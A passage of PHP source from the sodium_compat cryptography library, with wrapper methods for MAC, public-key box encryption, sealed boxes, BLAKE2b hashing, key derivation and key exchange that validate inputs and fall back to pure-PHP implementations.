     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify(
        $mac,
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box(
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender's X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient's public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal(
        #[\SensitiveParameter]
        $plaintext,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback('crypto_box_seal')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient's keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open(
        $ciphertext,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback('crypto_box_seal_open')) {
            return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key, while
     *                the last 32 are your public key. crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that expect
     * a keypair. This doesn't necessarily have to be the same person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24 bytes
     * @param string $keypair    Your secret key and the sender's public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between 16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between 16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash(
        $message,
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key, $length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(
        #[\SensitiveParameter]
        &$ctx,
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if ($length < 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return '';
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init(
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        #[\SensitiveParameter]
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = '',
        $personal = ''
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4);
        $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);

        /* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
        }
        return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(
        #[\SensitiveParameter]
        &$ctx,
        $message
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        #[\SensitiveParameter]
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

        if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN');
        }
        if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX');
        }
        if ($subkey_id < 0) {
            throw new SodiumException('subkey_id cannot be negative');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes');
        }

        $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd expect for
     * scalarmult() below, but the latter two public keys don't swap places.
     *
     * | ALICE                          | BOB                                 |
     * | Client                         | Server                              |
     * |--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(                 |
     * |     alice_sk,                  |     bob_sk,                         | <- contextual
     * |     bob_pk,                    |     alice_pk,                       | <- contextual
     * |     alice_pk,                  |     alice_pk,                       | <----- static
     * |     bob_pk                     |     bob_pk                          | <----- static
     * | )                              | )                                   |
     *
     * They are used along with the scalarmult product to generate a 256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx(
        #[\SensitiveParameter]
        $my_secret,
        $their_public,
        $client_public,
        $server_public,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        $seed = (string) $seed;

        if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes');
        }

        $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $serverPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
